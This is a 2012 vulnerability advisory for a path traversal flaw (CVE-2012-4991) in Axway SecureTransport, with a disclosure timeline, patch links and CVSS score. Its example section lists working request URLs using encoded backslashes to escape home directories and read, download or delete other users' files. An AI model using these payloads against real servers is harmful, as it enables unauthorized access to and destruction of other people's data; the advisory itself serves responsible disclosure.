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Path Traversal Vulnerability on Secure Transport versions 5.1 SP2 and earlier



Secure Transport Path Traversal Vulnerability

Public Disclosure Date:
November 11, 2012

Vendors Affected:
Axway
http://www.axway.com

Systems Affected:
Secure Transport

Problem:
A path traversal vulnerability was identified in SecureTransport versions 5.1 SP2 and earlier on the Microsoft Windows platform that could allow tampering and information disclosure. This vulnerability allows remote attackers to access other user's directories, and also to read, download, delete and upload arbitrary files. This can be performed using a encoded backslash characters (%5c) in the path.
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Example:
To escape the lock home directory, use the following url
https://<<IP>>/..%5C
To get access to another user's home directory, use the following url
https://<<IP>>/..%5C<<Username>>
To read another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?P
To download another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?B
To delete another user's file in his/her home directory, use the following url
https://<<IP>>/..%5C<<Username>>/file.txt?D
To upload a file in other user's home directory just use the upload function

Vendor Status: Contacted on September 12, 2012

Informed: Contacted back on September 12, 2012

Contacted: Customer confirmed the vulnerability, and that this was solved on October 30, 2012

Patch Available:
For 4.9.2 sp2:
https://support.axway.com/en/downloads/download-details/id/35283
For 5.1 sp2:
https://support.axway.com/en/downloads/download-details/id/35957

CVE: CVE-2012-4991

CVSSv2 Score: 8.5

CVSSv2 Access Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:N)

Impact Type: Allows unauthorized disclosure and modification of information

Status: Fixed

Acknowledgment: Axway would like to acknowledge Sebastian Perez (@Seba_DTT), of Deloitte Argentina (www.deloitte.com/ar) and Deloitte Canada (www.deloitte.ca) for helping to identify this issue.

Related Links:
Deloitte Argentina
www.deloitte.com/ar

Vendor Product:
http://www.axway.com/products-solutions/mft/gateways/securetransport

Axway Support
For further information, or assistance with this Patch, contact Axway Global Support.
Online - https://support.axway.com
Email - support@xxxxxxxxx



Sebastian Perez, C|EH
Senior Consultant | Information Security Specialist
Security, Privacy & Resilience Services - Enterprise Risk Services
Deloitte & Co. S.A.
Pte. Gral.J.D.PerÃn 646, 7piso- C1038AAN Buenos Aires Argentina
Main: +54 11 4320 2700 ext. 8350Â | Fax: +54 11 4320 4071
seperez@xxxxxxxxxxxx | www.deloitte.com
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